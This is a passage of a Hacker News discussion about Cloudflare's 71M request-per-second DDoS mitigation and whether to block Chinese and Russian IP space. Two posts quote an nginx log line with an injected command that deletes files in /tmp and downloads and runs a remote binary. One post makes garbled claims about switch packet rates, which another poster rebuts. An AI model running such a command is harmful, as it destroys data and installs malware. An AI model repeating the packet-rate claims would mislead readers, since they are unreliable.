Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

blog.cloudflare.com

Post reply on HN
Print view View original

131–140 of 151 posts

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#131

Post by rkangel »

realistik1 wrote: post #7

The startup I work for blocks all of china, russia, belarus and serbian IP space, which saves us about $50kper month in bandwidth charges. The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space, and add all of their ASNs to the bogon list if we run our own bgp. They are never customers to the businesses of the companies I work for, but they s…

> Letting russia and china on the internet was a massive security mistake we should rectify.

I'm amazed that most of the comments are around the technical possibility/validity of the suggestion and not around this ridiculous bit of bigotry and isolationism.

The internet is successful because it is apolitical and universal. It is amazing it has stayed as unaffected by politics as it has - if it had been "invite only" for the US and maybe Europe it would not have taken off to the degree that it has and our industry would be orders of magnitude smaller.

Should I not be able to have a video call with a manufacturing partner in China? Should someone on a trip to see their family in Russia not be able to send email? Even Russia, which is behaving almost as badly as a country can, should be kept on the internet. That's how their citizens can know what's actually going on and keep the pressure on the government to stop.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#132

Post by from »

realistik1 wrote: post #7

The startup I work for blocks all of china, russia, belarus and serbian IP space, which saves us about $50kper month in bandwidth charges. The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space, and add all of their ASNs to the bogon list if we run our own bgp. They are never customers to the businesses of the companies I work for, but they s…

> Chinese just try to destroy and censor. Worked at a company which hosted presentations, one of their 5 million presentations was critical of China. We received over 10,000 phone calls and close to a million emails in two days, and a sustained 10gbps ddos attack for a week.

Do you have any proof it had to do with the presentation? You're treating "China" as if it was one person.

> Letting russia and china on the internet was a massive security mistake we should rectify. The world spends literally BILLIONS because chinarussia are frankly assholes online.

China Unicom IPs trying to guess your root password over SSH is not a cyberwarfare campaign. China regularly takes down botnets (read https://blog.netlab.360.com/). It is a result of a bunch of cheap IoT devices with default passwords.

> Russisns mostly try to disrupt and steal because thats their foreign policy.

Great! Now Russians go straight to using a US residential proxy when they commit fraud because they see they are being blocked instead of silently raising their internal risk score or any of the 50 smarter things you could have done.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#133

Post by moremetadata »

bogomipz wrote: post #87
moremetadata wrote: post #26

Earlier quoted context omitted.

>I suspect a single machine could put out 71M HTTP requests/second without too much difficulty PacketsPerSecond=TransferRate(bytes/second)/PacketSize(bytes/packet) https://community.arubanetworks.com/community-home/digestvie... A single 24port switch with 1Gbps ports would see 48Gbps so with 64byte packets would see 71M packets, 1518byte packets would drop to 3.9M packets. If you are in the business of being the main…

>"A single 24port switch with 1Gbps ports would see 48Gbps so with 64byte packets would see 71M packets, 1518byte packets would drop to 3.9M packets." This is not correct. An interface doesn't handle more packets per second with smaller packet sizes it handles less, much less. Getting the full 48 Gbps of 24 ports at line rate would only be possible if the packets were full size packets(1500 bytes). The PPS bottleneck…

The min network packet size is 64 bytes, so if they are bundling several small packets into one pseudo jumbo packet and handling it that way, something only using the same manufacturer switch could do as this would be propriety networking, then that could explain their calculations on their webpage.

The data is streamed within time slots, which is why cable lengths of CatI dont know what their switch internal workings are, you'll have to ask them why they have quoted that speed, but I know some switches also have built in fibre network connections, as invariably with a network switch with many ports, you could get a queue of packets for one port so there must be some sort of buffering inside a switch to handle and minimise these situations.

It is only "clockwork" electrical pulses at the end of the day.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#134

Post by AlexAltea »

ilikecakeandpie wrote: post #104
AlexAltea wrote: post #82

Earlier quoted context omitted.

> Letting russia and china on the internet was a massive security mistake we should rectify. Internet is decentralized in nature. Even if you tried to undo that, what's stopping anyone from bridging a non-CN/RU Intranet to CN/RU-Intranet. More importantly: who is to decide that? Should now a US-based organization dictate who EU/JP/Africa can communicate with? Applying such decisions at such a low level will only resu…

> Applying such decisions at such a low level will only result in the balkanization of the Internet Are we not already there with states being able to dictate what is and isn't allowed?

Yes, but those are legal measures affecting higher levels of the OSI model, not low-levels technical blocks as OP implied.

Technical measures such as "not letting CN/RU on the Internet", involve at least blocking their IP space at BGP level (null routing as in China's Great Firewall), or even reallocating their IP space.

The Internet might be more or less fragmented at a high-level due to bureaucracy (see GDPR and HTTP Error 451 Unavailable for legal reasons or DNS blacklists), but at least everyone can pretty much agree where a public IP address points to.

Breaking up the very foundation of the Internet... that could get really messy and complicated.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#135

Post by luckylion »

lxgr wrote: post #123
luckylion wrote: post #44

Earlier quoted context omitted.

I'd love to see that, but I don't think it'd work because most people aren't capable enough to disinfect their machines and you can't just block their access to the internet. I expect locked down devices like cell phones and tablets to be less problematic in that regard (but maybe that's not true at all), so maybe the home-botnet-issue will resolve itself as more and more people stop using personal computers? I have…

> [...] maybe the home-botnet-issue will resolve itself as more and more people stop using personal computers? Maybe – if there wasn't IoT/smart home devices...

Ah, yeah, I forgot about those. And with remotely triggered updates, you don't even need to get past the router to infect some fridge, you just take over the manufacturer's site (or wait until they let the domain expire...) and have the fridges come to you.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#136

Post by bogomipz »

moremetadata wrote: post #133
bogomipz wrote: post #87

Earlier quoted context omitted.

>"A single 24port switch with 1Gbps ports would see 48Gbps so with 64byte packets would see 71M packets, 1518byte packets would drop to 3.9M packets." This is not correct. An interface doesn't handle more packets per second with smaller packet sizes it handles less, much less. Getting the full 48 Gbps of 24 ports at line rate would only be possible if the packets were full size packets(1500 bytes). The PPS bottleneck…

The min network packet size is 64 bytes, so if they are bundling several small packets into one pseudo jumbo packet and handling it that way, something only using the same manufacturer switch could do as this would be propriety networking, then that could explain their calculations on their webpage. The data is streamed within time slots, which is why cable lengths of Cat I dont know what their switch internal workin…

This is all complete gibberish. Packets per second is based on the lower bound and Jumbo Frames denotes an MTU or upper bound. Further switches don't aggregate smaller Ethernet frames into Jumbo frames. Packet per second also has zero to do with an Ethernet cable's length. PPS is the "forwarding rate" of the switch which is distinct from the bandwidth of a switch's backplane or switching fabric. Again switching bandwidth and forwarding Bandwidth are two different things. There is also no need for me to "ask them why they have quoted that speed", that's standard with hardware vendors for PPS.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#137

Post by FpUser »

rkangel wrote: post #131
realistik1 wrote: post #7

The startup I work for blocks all of china, russia, belarus and serbian IP space, which saves us about $50kper month in bandwidth charges. The absolutely first thing I do at every company and on every project is ask if I can block russia, china and belarussian IP space, and add all of their ASNs to the bogon list if we run our own bgp. They are never customers to the businesses of the companies I work for, but they s…

> Letting russia and china on the internet was a massive security mistake we should rectify. I'm amazed that most of the comments are around the technical possibility/validity of the suggestion and not around this ridiculous bit of bigotry and isolationism. The internet is successful because it is apolitical and universal. It is amazing it has stayed as unaffected by politics as it has - if it had been "invite only"…

>"...and not around this ridiculous bit of bigotry and isolationism"

It probably shows who the majority of posters are.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#138

Post by b112 »

from wrote: post #128
b112 wrote: post #88

Earlier quoted context omitted.

Hilarious. Someone said block China and Russia, and we have a long response "USA bad! China not as bad!". No mention of Russia, and the original poster probably has nothing to do with the US. Here's the thing, China and Russia are the wild west of the internet. Someone starts to DDoS a UK IP from the US, and it gets shut down hard and fast. Someone starts to DDoS from Russia or China, and reports are dropped on the f…

> Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports). I don't mean to be presumptuous but what is the benefit of this. Do you spend all day stressing when you see 112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws HTTP/1.1" 404 153 "-" "Hello, world" in your Nginx logs? Actual financial fraud occurs using US r…

So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats.

Completely untrue.

So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?

And spam has 0 cost, right?

Read the equation again.. 0 downside, endless upside.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#139

Post by from »

b112 wrote: post #138
from wrote: post #128

Earlier quoted context omitted.

> Drop Russia, China, and even Brazil (whos network ops never ever ever respond to spam reports). I don't mean to be presumptuous but what is the benefit of this. Do you spend all day stressing when you see 112.250.109.154 - - [14/Feb/2023:00:00:18 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+94.158.247.123/jaws;sh+/tmp/jaws HTTP/1.1" 404 153 "-" "Hello, world" in your Nginx logs? Actual financial fraud occurs using US r…

So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats. Completely untrue. So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep? And spam has 0 cost, right? Read the equation again.. 0 downside, endless upside.

> So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats.

If you're referring to banking fraud I'm pretty sure the answer is mostly yes. Maybe sometimes fraudsters are lazy.

> So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep?

It does, I'm just saying it's almost entirely automated scans and bruteforce using default password combinations and several year old CVEs. If you are vulnerable to those you have bigger problems.

> And spam has 0 cost, right?

Unless you are running some ancient configuration the cost is lower than the amount of engineering work and mental capacity you appear to devoting to stopping it.

I'm not saying you shouldn't make the tradeoff or that it's wrong to do it, just that the amount of security you think you are gaining from it is not as high as you think.

Re: Cloudflare mitigates record-breaking 71M request-per-second DDoS attack

#140

Post by b112 »

from wrote: post #139
b112 wrote: post #138

Earlier quoted context omitted.

So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats. Completely untrue. So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep? And spam has 0 cost, right? Read the equation again.. 0 downside, endless upside.

> So out of endless ways to ruin your day, you claim all financial fraud only comes from US proxies (?!?!?!), and ignore all other threats. If you're referring to banking fraud I'm pretty sure the answer is mostly yes. Maybe sometimes fraudsters are lazy. > So getting hacked never happens from Russia? Russian IPs only scan, but never crack in, takeover, deface, or work their way deep? It does, I'm just saying it's al…

I love it. Statements peppered with "almost" and "mostly". How if you are updated, well then you're golden, cause mostly it's old CVEs.

Which ignores that even 0.001% of traffic is a load of more skilled bad actors, this IP space is rotten to the core.

Throughout, I have stated 0 downside, all upside. Even one dedicated hacker gone, is a plus in this scenario. Even showing yourself to be actively, aggressively defending is a plus, if comparables are less guarded.

And you're bracketing the use case, others and I have been speaking of the generic. Many run MTAs, so cutting down on inbound spam and malware, pre-filtering is a plus.

Canning all this address space is a never lose, always win, plus plus plus.

Save yourself the grief. Hot potato it.

Post reply on HN